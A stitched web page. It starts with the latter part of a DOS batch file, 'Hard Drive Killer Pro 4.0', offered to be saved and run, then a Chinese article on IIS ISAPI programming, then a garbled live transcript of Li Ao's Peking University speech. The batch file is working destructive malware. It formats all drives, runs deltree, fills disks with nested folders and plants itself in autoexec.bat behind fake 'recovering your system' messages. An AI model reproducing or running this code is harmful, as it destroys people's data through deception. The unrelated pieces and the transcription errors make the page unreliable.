echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga’s Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don’t let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I’m glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Don’t support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat

echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat

:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul

cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .

for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What’s the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don’t you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga

:end

rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga – from Australia, the land full of retarded Australian’s (help me get out of here).

———————— cut here then save as .bat or .cmd file —————————

IIS的IS API接口简介
作者:netguy (mailto:netguy@nsfocus.com)

ISAPI(Internet Server Application Programming Interface)作为一种可用来替代CGI的方法,是由微软和Process软件公司联合提出的Web服务器上的API标准。ISAPI与Web服务器结合紧密,功能强大,能够获得大量的信息,因此利用ISAPI可以开发出灵活高效的Web服务器增强程序。由于ISAPI程序与Web服务器的关系,使得ISAPI接口在安全方面有一定的研究价值。本文主要讨论ISAPI在IIS和VC++ 6.0中的实现。

一、ISAPI接口和CGI接口的不同。

ISAPI程序和CGI程序完成类似的功能,但是实现方法不同。

1、ISAPI程序以DLL形式被Web服务器加载到自己的进程空间中,因此和服务器共用同一个地址空间,且在没有客户请求时可以将其从内存中卸载;而对客户端发来的每个对CGI程序的请求则需要服务器为它单独启动一个进程,这需要耗费大量的时间和内存。当并发的请求数目很大时,使用CGI在效率上不如ISAPI。

2、CGI程序通过环境块和标准输入输出与Web服务器进行通信,而ISAPI程序与服务器结合得更为紧密,与服务器共享同一个进程上下文,主要通过一个参数块与服务器进行交互,可以从服务器那里获得关于当前HTTP连接的大量信息。

ISAPI主要分为ISA和ISAPI Filter两部分。ISA方法相对而言要传统一些,利用一些特殊的链接,指向服务器的作业,供程序开发人员设计一些扩展功能;而ISAPI过滤器则倾向于构造服务器直接调用的模块,提供一种无缝链接部件用于监测直接来自于服务器的HTTP请求。


二、ISA

ISA(Internet Server Application)也可称为ISAPI DLL,其功能和CGI程序的功能直接相对应,使用方法和CGI也类似,由客户端在URL中指定其名称而激活。例如下面的请求将调用服务器的虚拟可执行目录Scripts下的function.dll(ISAPI DLL必须放在服务器的虚拟可执行目录下):
http://www.abc.com/Scripts/function.dll?

ISA和服务器之间的接口主要有两个:GetExtentionVersion( )和HttpExtentionProc( )。任何ISA都必须在其PE文件头的引出表中定义这两个引出函数,以供Web服务器在适当的时候调用。

1、当服务器刚加载ISA时,它会调用ISA提供的GetExtentionVersion( )来获得该ISA所需要的服务器版本,并与自己的版本相比较,以保证版本兼容。函数原型如下:

BOOL WINAPI GetExtentionVersion(HSE_VERSION_INFO *version);
typedef struct _HSE_VERSION_INFO
{
DWORD dwExtensionVersion; //版本号
CHAR lpszExtensionDesc[HSE_MAX_EXT_DLL_NAME_LEN]; //关于ISA的描述字符串
} HSE_VERSION_INFO, *LPHSE_VERSION_INFO;

2、ISA的真正入口是HttpExtentionProc( ),它相当于普通C程序的main( )函数,在这个函数中根据不同的客户请求作不同的处理。服务器和HttpExtentionProc( )之间是通过扩展控制块(Extention Control Block)来进行通信的,即ECB中存放入口参数和出口参数,包括服务器提供的几个回调函数的入口地址。函数原型如下:

DWORD HttpExtensionProc( EXTENSION_CONTROL_BLOCK *pECB );

ECB的结构定义如下(IN表示入口参数,OUT表示出口参数):

typedef struct _EXTENSION_CONTROL_BLOCK
{
DWORD cbSize; //IN,本结构的大小,只读
DWORD dwVersion //IN,版本号,高16位为主版本号,低16位为次版本号
HCONN ConnID; //IN,连接句柄,由服务器分配,ISA只能读取该值
DWORD dwHttpStatusCode; //OUT,当前完成的事务状态
CHAR lpszLogData[HSE_LOG_BUFFER_LEN]; //OUT,需要写入到日志文件中的内容
LPSTR lpszMethod; //IN,等价于CGI的环境变量REQUEST_METHOD
LPSTR lpszQueryString; //IN,等价于环境变量QUERY_STRING
LPSTR lpszPathInfo; //IN,等价于环境变量PATH_INFO
LPSTR lpszPathTranslated; //IN,等价于环境变量PATH_TRANSLATED
DWORD cbTotalBytes; //IN,等价于环境变量CONTENT_LENGTH
DWORD cbAvailable; //IN,缓冲区中的可用字节数
LPBYTE lpbData; //IN,缓冲区指针,指向客户端发来的数据
LPSTR lpszContentType; //IN,等价于环境变量CONTENT_TYPE

//回调函数,用于返回服务器的连接信息或特定的服务器详细情况
BOOL ( WINAPI * GetServerVariable )
( HCONN hConn,
LPSTR lpszVariableName,
LPVOID lpvBuffer,
LPDWORD lpdwSize );

BOOL ( WINAPI * WriteClient ) //回调函数,从客户端的HTTP请求中读取数据
( HCONN ConnID,
LPVOID Buffer,
LPDWORD lpdwBytes,
DWORD dwReserved );

BOOL ( WINAPI * ReadClient ) //回调函数,向客户端发送数据
( HCONN ConnID,
LPVOID lpvBuffer,
LPDWORD lpdwSize );

BOOL ( WINAPI * ServerSupportFunction ) //回调函数,访问服务器的一般和特定功能
( HCONN hConn,
DWORD dwHSERRequest,
LPVOID lpvBuffer,
LPDWORD lpdwSize,
LPDWORD lpdwDataType );

} EXTENSION_CONTROL_BLOCK, *LPEXTENSION_CONTROL_BLOCK;

在上述ECB中,服务器不但提供了当前HTTP连接的句柄和一些变量,而且提供了4个回调函数给ISA调用,从而使ISA可以获得更详尽的信息。

三、ISAPI Filter

ISAPI Filter位于服务器和客户端之间,能够对服务器和客户端之间的通信进行预处理和后处理,比如对通信进行加密/解密、提供对客户进行身份验证的新方法、提供自定义的日志记录等,在CGI中没有与ISAPI Filter直接相对应的部分。

ISAPI Filter与服务器之间的接口有两个:GetFilterVersion( )和HttpFilterProc( )。任何
ISAPI Filter都必须引出这两个函数以供服务器调用。

1、在注册表的如下键值中存放着所有ISAPI Filter的文件名,IIS服务器启动时从该键值中获得
Filter的文件名并加载它们。

HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/W3SVC/
Parameters/FilterDLL

2、然后服务器调用每个Filter提供的GetFilterVersion( )函数,获得版本号以及该Filter希望处理的事件,即ISAPI Filter通过引出GetFilterVersion( )函数来告知服务器自己希望处理什么类型的事件,因为ISAPI Filter是通过事件来激活的,当满足条件的事件到达时,服务器就会调用Filter引出的主函数HttpFilterProc( )对该事件进行处理。GetFilterVersion( )的原型如下:

BOOL WINAPI GetFilterVersion(
DWORD dwServerFilterVersion; //IN,服务器使用的版本规范
DWORD dwFilterVersion; //OUT,过滤器使用的版本规范
CHAR lpszFilterDesc[SF_MAX_FILTER_DESC_LEN+1]; //OUT,对该过滤器的描述字符串
DWORD dwFlags //OUT,事件和优先级标志
);

事件和优先级标志dwFlasg的取值在MSDN中有详细解释,其中包括该Filter被调用的优先级,一般应使用默认的低优先级,否则可能会对系统的性能造成很大影响。

3、HttpFilterProc( )是ISAPI Filter主要的入口函数,它根据当前的事件的不同作出不同的处理。服务器通过如下的参数块和Filter进行交互,这个参数块的作用和ISA中的ECB类似。

typedef struct _HTTP_FILTER_CONTEXT
{

DWORD cbSize; //IN,本参数块的大小
DWORD Revision; //IN
PVOID ServerContext; //IN,由server使用本参数
DWORD ulReserved; //IN,由server使用本参数
BOOL fIsSecurePort; //IN,事件是否发生在安全端口上
PVOID pFilterContext; //IN/OUT,与本次请求相关的上下文

//回调函数,取得关于服务器和本次连接的信息
BOOL (WINAPI * GetServerVariable) (
struct _HTTP_FILTER_CONTEXT * pfc,
LPSTR lpszVariableName,
LPVOID lpvBuffer,
LPDWORD lpdwSize
);

BOOL (WINAPI * AddResponseHeaders) ( //回调函数,给HTTP响应添加一个标头
struct _HTTP_FILTER_CONTEXT * pfc,
LPSTR lpszHeaders,
DWORD dwReserved
);

BOOL (WINAPI * WriteClient) ( //回调函数,将原始数据发送给客户端
struct _HTTP_FILTER_CONTEXT * pfc,
LPVOID Buffer,
LPDWORD lpdwBytes,
DWORD dwReserved
);

VOID * (WINAPI * AllocMem) ( //回调函数,分配内存。
struct _HTTP_FILTER_CONTEXT * pfc,
DWORD cbSize,
DWORD dwReserved
);

BOOL (WINAPI * ServerSupportFunction) ( //回调函数,访问服务器的一般和特定功能
struct _HTTP_FILTER_CONTEXT * pfc,
enum SF_REQ_TYPE sfReq,
PVOID pData,
DWORD ul1,
DWORD ul2
);

} HTTP_FILTER_CONTEXT, *PHTTP_FILTER_CONTEXT;

四、VC++ 6.0中对ISAPI的支持

VC++ 6.0中定义了5个相关的类以简化ISAPI的编程工作:CHttpServer、CHttpServerContext、CHttpFilter、CHttpFilterContext、CHtmlStream,这5个类都没有父类。其中CHttpServer和CHttpServerContext主要用来编写ISA,CHttpFilter和CHttpFilterContext则用来编写ISAPI Filter,而CHtmlStream则用来操作内存中的HTML文件,为其它的4个类提供服务。CHttpServer在每个ISA中只能有一个实例,一个CHttpServer可以对应多个CHttpServerContext实例,每个
CHttpServerContext处理一个客户请求,这样可以处理并发的HTTP请求;CttpFilter和CHttpFilterContext之间的关系与此类似,在每个ISAPI Filter中只能有一个CHttpFilter实例,但是可以有多个CHttpFilterContext来处理并发的事件。CHttpServer和CHttpFilter是独立的类,它们可以共存于一个DLL中,也可以分别在不同的DLL中。

一个ISA可以提供多个命令,每个命令对应于CHttpServer(或其子类)的一个成员函数,客户端可以在URL中指定命令名及其参数。在VC++ 6.0中是通过parse map来实现这种对应的。

Parse map类似MFC中的Windows消息分发机制,通过使用VC提供的DECLARE_PARSE_MAP、BEGIN_PARSE_MAP、ON_PARSE_COMMAND、ON_PARSE_COMMAND_PARAMS、DEFAULT_PARSE_COMMAND、END_PARSE_MAP等宏,可以实现对不同的命令的处理。每个CHttpServer中只能建立一个parse map,当客户端给ISA发来命令的时候,parse map可以分析HTTP请求中的命令名及其参数,将该命令与相应的成员函数关联起来,即由该成员函数处理该命令。以MSDN中的例子程序pinball为例,该例中有下面这样一个表单:

<form method=get action="pinball.dll?">
<input type="hidden" name="MfcISAPICommand" VALUE="GetImage">
<input type="radio" name="Favorite" value="1" checked> Attack from Mars<br>
<input type="radio" name="Favorite" value="2"> Twilight Zone<br>
<input type="radio" name="Favorite" value="3"> The Addams Family<br>
<input type="radio" name="Favorite" value="4"> Cirqus Voltaire<br>
<input type="radio" name="Favorite" value="0"> I don’t see it here<br>
<br>
<input type="submit" value="Show Me!">
</form>

当客户端选中了上面的表单中的"Attack from Mars"这一项并点击了submit按钮后,服务器端
最终将得到如下的URL串:

http://www.abc.com/pinball.dll?MfcISAPICommand=GetImage&Favorite=1

在该URL串中,命令名是GetImage,参数Favorite的值是1,因此pinball.dll中的如下成员函数
将被调用以处理该请求,其中参数dwChoice对应URL中的参数Favorite:

void CPinballExtension::GetImage(CHttpServerContext* pCtxt, long dwChoice);

而parse map需要按照下面的形式定义:

//CPinballExtension从CHttpServer派生而来
BEGIN_PARSE_MAP(CPinballExtension, CHttpServer)

//GetImage是CPinballExtension的成员函数,且有一个long型的参数即dwChoice
ON_PARSE_COMMAND(GetImage, CPinballExtension, ITS_I4)

//该参数在URL中的名字为Favorite
ON_PARSE_COMMAND_PARAMS("Favorite")

END_PARSE_MAP(CPinballExtension)

而对于ISAPI Filter,在VC中可以通过重载CHttpFilter(或其子类)的不同的成员函数来实现对不同事件的处理。可重载的函数如下,每一个成员函数均对应一个或多个事件:

OnPreprocHeaders
OnAuthentication
OnUrlMap
OnSendRawData
OnReadRawData
OnLog
OnEndOfNetSession

MSDN提供了4个关于ISAPI的编程实例:counter、MFCUCASE、pinball、wwwquote,有兴趣的可看看,本文主要不是介绍编程,所以不再赘述。

参考资料:

1、MSDN
2、《精通CGI编程》,丁一强等,清华大学出版社

2005年09月25日


李敖北大演讲视频下载:
http://bbmedia.qq.com/media/news/200509/0921liaobeida1.wmv

李敖清华演讲视频:http://www.ant88.com/movie/20050923191159942.htm

李敖在北大演讲全文,含开场及答同学问

[08:48:45] 大家好

[08:48:59] 大家好



[08:59:58] 李敖神州文化之旅的重头戏,在北京大学的演讲以及与学生座谈,将于9月21日登场。9月21日9:30分起,凤凰网网络播放李敖北京大学演讲,以下是图文直播:



[09:50:17] 主持人:尊敬的各位来宾,老师们、同学们、朋友们,大家上午好。李敖先生北京大学演讲会现在开始。首先,请允许我介绍在主席台上的嘉宾,台湾著名作家李敖先生、凤凰卫视控股有限公司董事局主席、执行总裁刘长乐先生、北京大学校委会主任敏瑞方教授,让我们对光临北大的各位嘉宾表示热烈的欢迎。现在请求北京大学校委员会敏瑞方教授致欢迎词。



[09:50:27] 敏:尊敬的李敖先生,尊敬的刘长乐先生,尊敬的各位嘉宾,老师们,同学们,朋友们,今天在这样一个美好的秋高气爽的日子,我们十分荣幸的邀请到台湾著名学者李敖先生来到北京大学发表演讲。首先我仅代表北京大学全体师生向首次回到大陆进行神州文化之旅的李敖先生表示最热烈的欢迎,和致以良好祝愿。李敖先生是台湾著名作家和文化名人,1935年生于哈尔滨,1937年随全家迁移北京,先在新鲜胡同小学就读

,后在1948年秋考入北京名校四中,1949年1月转入上海进追(音)中学,对于在北京这段求学历史,李敖先生本人讲过,北京文化古城与幼时环境是其在志力早熟,从小就养成读书、买书、藏书的癖好,1949年4月李敖随全家迁居台湾,定居台中,跳班考入台中第一中学读初二,中学时代的李敖便显示出自己独立思考,绝不追随世俗大流个性,由于对当时台湾的教育不满,他在读完高二后便自愿休学在家,博览群书,1949年夏他考入台湾大学法律系,未来满一年又自动退学,不久,再考入台湾大学历史系,1961年,考入台湾大学历史研究所。李敖先生的作品自成一家,综论历史,横直终生,嘻笑怒骂,其畅快淋漓的文字及尖锐辛辣的评论,充分展示了李敖先生的深厚学养和特立独行的人格。近年来李敖先生主持香港凤凰卫视的《李敖有话说》节目,使大陆观众对李敖先生有了更加直观的了解和更加生动的印象。这里,我还要特别向大家介绍的是,李敖先生的父亲李鼎一先生是我们北大的校友,1921年9月李先生考入北京大学国文系,于1926年6月毕业,毕业之后,李先生主要从事中国文学史的教学和研究。另外,李敖先生的大姐李民女士,姐夫周克敏先生,二姐李讯女士也都我们北京大学的校友。今天,李敖先生来到他父亲曾经读书的母校发表演讲,我们也迎来了李民、李讯和周克敏三位老校友返回母校,我们感到十分亲切,让我们对他们的到来再次表示热烈的欢迎。近年来,我们北京大学在两岸的文教学术交流中扮演了越来越重要的角色,今天,李敖先生的到访对进一步密切两岸学术界、文化界的联系,促进两岸知识界的良好互动,继续推动两岸的和平友好交流,具有十分积极的影响,我们也诚挚的欢迎越来越多的台湾学者来大陆,来北大访问讲学,同心协力,将我们中华文化发扬光大。 最后,预祝李敖先生北京大学演讲会取得圆满成功 !



李敖:各位终于看到我了,主任,校长,总裁,各位贵宾,各位老师,各位小朋友!来演讲紧张不紧张,紧张,站在大庭广众面前,很多人可以指挥千军万马的军队,可是你让他讲几句话,他就宋了不敢讲话,什么原因,胆小,美国人打赢南北战争的将军歌兰特,指挥千军万马打赢仗,林垦总统请他上台给他勋章,让他几句话,他讲不出口,为什么?怕这玩意,一讲演就紧张。前天晚上我编了一个故事,北京大学一个女孩子进了一个小房间,突然看到一个男的在一个小房间里嘴巴里面念念有词,来回走动,这个女孩子就问他,你在干吗,他我在背讲演稿,他说你在哪儿讲演,他说我要在北京大学讲演,女孩子说,你紧张吗?他说我不紧张,女孩子说,如果你不紧张为什么你到女厕所来干什么。这个人就是连战。



[09:55:08] 主持人:尊敬的各位来宾,老师们、同学们、朋友们,大家上午好。李敖先生北京大学演讲会现在开始。



[09:55:44] 李敖:各位终于看到我了,主任,校长,总裁,各位贵宾,各位老师,各位小朋友!来演讲紧张不紧张,紧张,站在大庭广众面前,很多人可以指挥千军万马的军队,可是你让他讲几句话,他就宋了不敢讲话,什么原因,胆小,美国人打赢南北战争的将军歌兰特,指挥千军万马打赢仗,林垦总统请他上台给他勋章,让他几句话,他讲不出口,为什么?怕这玩意,一讲演就紧张。



[09:56:38] 台湾有一位很有名的歌星,崔台新,崔是垂柳,台是台湾人,青是青年,台湾要靠混,靠吹牛,又是青年人混,连战就是这种人。他可以户龙别人,糊弄不到我们可以糊弄你们。至少前一阵子糊弄你们,今天一个重要的标准就是你们觉得任何人觉得连战讲演好的人,我就要警告你们,今天你们可能很失望,为什么呢?因为我无法花一个是小时把这个观念转过来,因为你们上了连战的当以后我很难把这个观念转过来。



[09:57:02] 我在这儿买圆一个人,买圆我的老板,凤凰电视台的刘长乐先生,为什么要买圆他,他把我故求到北京来,对不起,我一看到你们就讲很多乡音,故求到北京来,可是我已经在中国大陆,在凤凰电视台上讲了有400多场,你们对我相当的熟悉,用一个雄性的眼光来看我,我今天把这个讲演讲成功,这是高难度的,你们对连战完全不了解,你们看到他吗。所以对我熟悉,对我是个困难,这个困难是刘长乐老板造成的,所以我今天有所抱怨。



[09:57:21] 现在开始讲正题了,罗马教皇讲了一句话,他说你演讲的时候不能用稿子,为什么不能用稿子,用稿子表示你记不住,如果你自己都记不住,你怎么样让听众记得住呢,你这个演讲就失败了,所以大家看,没有稿子。也没有小抄,可是我带了一些证据是有的,等会会显示证据。



[09:57:38] 我必须和大家说,接下来这个演讲的时候是刘长乐老板告诉我,最后我问他一句话,把他问得冷住了,我说有没有铺红地毯,我进门的时候,他说你没有克林顿有,连战有,你没有,我说为什么我没有?他说,北大尊敬你,把你当成学术演讲,所以不铺红地毯,校长是不是这个意思),我说好我做学术演讲,讲得好就是学术演讲,讲不好,讲一半,铺红地毯还来得及。



[09:57:55] 为什么我要这样说,不然人家说北京大学视力眼,怎么不给李敖铺红地毯,怎么给当官的,或者说是政治人物铺红地毯,我在这儿有很多人眼睛看着我,说李敖骂过国/民/党过民进党,骂过老美国,骂过小日本,今天你在北京,你敢敢骂共/产/党,很多人不怀好意,你看幸灾乐祸看着我。我告诉你,我先不骂共/产/党,我先赞美共/产/党和国/民/党曾经打倒的势力,那就是北洋军阀,为什么赞美北洋军阀,大家知道吗?北京大学怎么出来的,北洋军阀,什么人叫蔡元培校长做北京大学校长,那时候他是国/民/党人的身份,是北洋军阀,北洋军阀有这个肚量把全国最好的大学交给和他敌对的一个政治势力的守敌,我们现在骂北洋军阀,我们有什么资格骂北洋军阀呢?



[09:58:09] 我们不要骂北洋军阀,我们要做历史性的反省。



[09:58:42] 以前北京大学胡适讲了一段话说,他说,你要为国家牺牲你的自由,可是胡适说,争取你个人的自由,就是争取国家的自由。克林顿引用这句话的时候没有引用完,就是说,胡适说,一个真正的开明进步的国家,不是一群奴才造成的,是要有独立个性,有自由思考的人造成的,所以克林顿的演讲引证有错误,后来又来了一个人,就是连战,他在讲演场里面提到了四个字,有点犯忌讳的,可是事实上他提到了,叫做“自由主

义”。各位,连战对自由主义的解释完全错误,他请毛但写的说胡适把自由主义带到台,所以台湾有一股自由主义的学风,在学校里面流传下来了,我告诉各位,没这个事,没有人敢这样做,包括连战,他们都不敢这样做,所以自由主义这四个字虽然在连战的演讲里面,在北大的讲台上面出现了,我告诉你,没有这个东西,很多人说我李敖是自由主义者,说你自由主义者你在大陆,你在共/产/党统治的地区,我们要看你讲什么话,你要不要宣传自由主义,我告诉大家,我要宣传,可是内容和你们所了解的都出入,什么是自由主义,自由主义我们看到学理上来讲,你出一本书,他出一书,学理上非常的高深,对我而言,没有复杂,自由主义只是两个部分,一部分是翻秋中级(音)的部分,一部分是(翻秋中宪法的部分)。



[10:00:02] 我给大家讲一个故事,台湾在过去清朝统治之前是给郑成功来统治,这是了不起的中国民族英雄,郑成功的爸爸投降了,郑成功不肯,郑成功妈妈在福建被清朝的兵轮奸了,郑成功发现母亲被轮奸了,怎么办,我来告诉你怎么办,他把他母亲身体切开,用水冲洗他母亲的尸体,他认为他母亲被轮奸以后,脏,他母亲脏了,奸是一个动作,污是一个过程,用水冲可以解自己心理的压力和痛苦。各位想象看,在五四时代,有一个问题只有胡适先生解决了,别人解决不了,就是有一个北大学生提出来,说他的一个朋友的姐姐被土匪抢走了,绑票了,当然,也发生了刚才我说的那种不幸的结果,问北大的这些思想家们,你们怎么样解释这个现象,大家解释不出来,胡适先生做出解释,他说,如果有男人要讨被害的女孩子,我们要尊敬这个男的,其实在生理上变化很小,心理上难过,所以如果有这个男的能够破除这种情节,这个男的很了不起,我们应该尊敬他。



[10:04:40] 世界三大男高音帕瓦罗帝,中间还有一个小胖子斗米一上来就是这个姿势,请你们鼓掌,为什么鼓掌,因为我太传神了,你们都忘了鼓掌了。你们不习惯我这种讲话的方式,可是我必须说,我在讲这种方式。



[10:11:35] 今天我站在这里,大家说,你要不要骂共/产/党,刚刚我说过,我先替北洋军阀讲了好话,让我替共/产/党讲一句好说,说你怎么这样敢为共/产/党讲好话,为什么不敢,当共/产/党没有做坏事情的时候,我们为什么不把真相澄清出来,谁说共/产/党不许别人讲话,我拿一本书给你们看《毛泽东文集》,当然你们会笑我你在打着红旗反红旗,其实不是,我给你们看一段蛮有趣的,念给你们听,我们有你们相反的意见,批评得不负责任。



[10:11:42] 怕负责任,老虎屁股摸不得,这是很不对的,有了错,一定要自我批评,凡是采取这种态度的人,人总是要讲的,既然我摸了老虎屁股。我今天给大家做一个重大的宣誓,我告诉大家,从18世纪19世纪以来,人类所梦想的自由主义这种追溯方法都是这个自由那个自由。



[10:11:49] 可是自由主义最重要的第一个层面是你心灵能不能解放,如果你心灵是成功式的,那你就困死了,所以我认为心灵开放是重要的,这一部分自由主义叫做翻秋中级(音)。



[10:11:56] 都是你自己的事情,你自己没有一个改革开放的自己,永远困扰自己。所以我说,真正的自由主义者没有人想做,因为太痛苦了,因为太难了,要有很高的文化水平才能做自由主义者,所以自由主义这一段叫做反求诸己恩(音),成功了,我自己就知道。



[10:12:02] 我不是正成功,我可能是卖东西的窑子,我是一个处女,这是自由主义的部分,另外一个部分就是政府有联系,我们人民和政府的联系有几种方式,大家说乡音未改,我没改,可是你们改了,北京变大了。你们讲的没有我讲的纯,我告诉你,人们和政府的关系第一个关系就是政府这么坏,我不要活了,我梗了。辛亥革命以前的杨虎生在英国跳海,就是我死了。



[10:12:09] 第二个感觉我颠了,就是跑了,我玩不过你,孔子说,尾部步入,乱棒之居(音)。第三个是得(音)了,他住在雍和宫附近,他到北京大学来作客,他在大陆(音)机里面,你找不到我,我猫起来了,就是在更了,颠了,得(音)的关系就是藏起来了。



[10:13:25] 第二个感觉是我颠了,就是跑了,我玩不过你,孔子说,尾部步入,乱棒之居。第三个是得了,他住在雍和宫附近,他到北京大学来作客,他在大陆(音)机里面,你找不到我,我猫起来了,就是在更颠了,得(音)的关系就是藏起来了。



[10:13:55] 第四种菘了,小时候我们在北京斗蟋蟀,送了就是我怕了,我不和你玩了,就是人民和政府,我怕你,不和你玩了。



[10:14:26] 第五种就是火了,我和你干上了,我生气了,什么时候会反了,人民忍无可忍的时候,再在找到一个激怒眼的题目就是反。在1932年美国就发生一件事情,在第一次世界大战的时候,很多美国军人打死了。



[10:15:27] 1918年世界大战结束,很多兵回来了,要政府赔钱,政府说,你们现在年轻力壮,现在不给,到1945年,你们老了,再给你们钱,大家一听,觉得也好。



[10:15:45] 结果1932年美国发生经济大恐慌,这些老兵憋不住了,跑到华盛顿广场集会,大家饥饿,由早到晚,由日到夜,都不解散,中央政府广场被占有,好说怠说都不解散。



[10:16:53] 一个将军叫做迈克压撒元帅,下面带了一个少将叫做八顿将军,下面带了一个少校叫做艾森豪威尔,打枪,多少人死掉了,人民在他的中央政府广场里面盘居不屈这是美国的形象吗?



[10:17:15] 我给大家看看一个资料,告诉你们这是什么东西,这就是当年《纽约时报》的头条新闻讲到怎么样的开枪,你们看不清楚,没有关系,证据在这儿,一会主任和校长在这儿可以证明。



[10:17:36] 看这个表,1932年美国群众在中央政府盘居不屈,政府开枪,153年德国群众盘居不屈开枪,1956年匈牙利群众盘居不屈开枪,1970年美国又来了,又开枪。



[10:18:06] 可是人民来讲,逼他开枪,局面造成了我们逼他开枪,我们要不要反省,我们为什么这么笨呢,看看有没有什么聪明的方法,焦急的方法你不能够把政府摆平,你自己跟着受害,说我们争取言论自由,我告诉大家,没有人比我李敖古往今来,争取言论自由最多的,我写过100多本书,有96本被查禁。



[10:18:49] 全世界古往今来有没有这么个人写了这么多禁书,而有这么个政府盯着他不放,我把我的书名、以及被查禁的表,你们看有多长。



[10:19:20] 我的书和我著作等身,我这个表已经超过我的身高了,能证明什么,我坐牢就坐牢,你们说,你有抱怨,你抱什么怨,写文章大不了坐牢,你们不愿意,聪明了,觉得你李敖傻,那么多牢做的干什么,为什么?



[10:20:13] 我们现在知道有一种觉悟,我告诉大家,虽然这么多禁书不能卖,写了以后就被抢走了,怎么办呢?在耳渠道,在地摊上和黄色书刊一起卖,鱼目混珠,所以我出的书都是露屁股,看起来很凉快的。我的读者根本不是我的读者,他是买黄色书刊,买错了就变成我的读者。



[10:20:29] 所以,我的读者里面有些人是***狂,你们有没有,我不知道。



[10:21:08] 我告诉大家,写言论自由争取以后是这个下场,那么我们革命了,项羽这样喊,李自成也可以这样喊,你不能这样喊,项羽拥有武器,李自成拥有武器,和统治者差不多,你有一把刀,我有一把刀,差不多。



[10:21:44] 现在全世界任何政府的统治者用机关枪,坦克车,所以我说,人民要聪明,争取自由要靠智慧,大家看我这本小说写《北京法院寺》,今天下午我要去法院寺去看看,从来没有去过这个地方,为什么没有去过能把这个小说写得神龙活现,这就是文学家嘛,就干这个的。



[10:22:14] 我讲我的心里话给你们听,我回头看,除了我们的刘长乐老板以外,主任及校长都不太笑,我一回头看,就很紧张。他们不算本领,我在内地最佩服的一个人叫做丁关根,你和他讨论问题绝对不笑,脸绷着一路绷到底,我真的佩服。



[10:22:49] 中国历史上有一个人和丁关根一样了不起的,叫包公,他也不笑,所以宋朝人当时有一举言语叫做包工笑,黄河清,这是不可能的事情。



[10:23:14] 我今天谈言论自由,他们怕,其实有什么好怕的,我举例给大家看,什么东西开放,言论自由会更安全,我今天在这儿最想讲的一句话就是这句话。



[10:23:47] 北欧、瑞典,丹麦他们是全世界性开放最早的地方,丹麦开放A片的那一年全国的强奸犯罪率减少了16%,不强奸了,看A片就好了,头一年全国偷看女人洗澡减少了80%,觉得不可思议。



[10:24:13] 按照我们的标准,一定有伤风化,破坏民心士气,我所佩服的一个将军叫做许士友,以前南京军区的司令,南京军区不能看《红楼梦》。



[10:24:42] 现在告诉大家,瑞典的统一数字告诉我们,强奸犯减少16%,偷窥狂减少了80%,当您开放***的时候,大家整天看,已经平常了,反倒没事了,言论自由本身就是这样的。



[10:25:00] 我在台湾搞了这么多年的言论自由,结果怎么,整天查禁我的书,说李敖闯货,影响民心士气,现在的书不禁了,可是也没事了。



[10:25:42] 我拿张照片给大家看,我指着一个老头子,这老头子前一阵子来到北京,他是国/民/党的上将叫做许立荣,当年做总政治部的主任,专门查禁我的书。



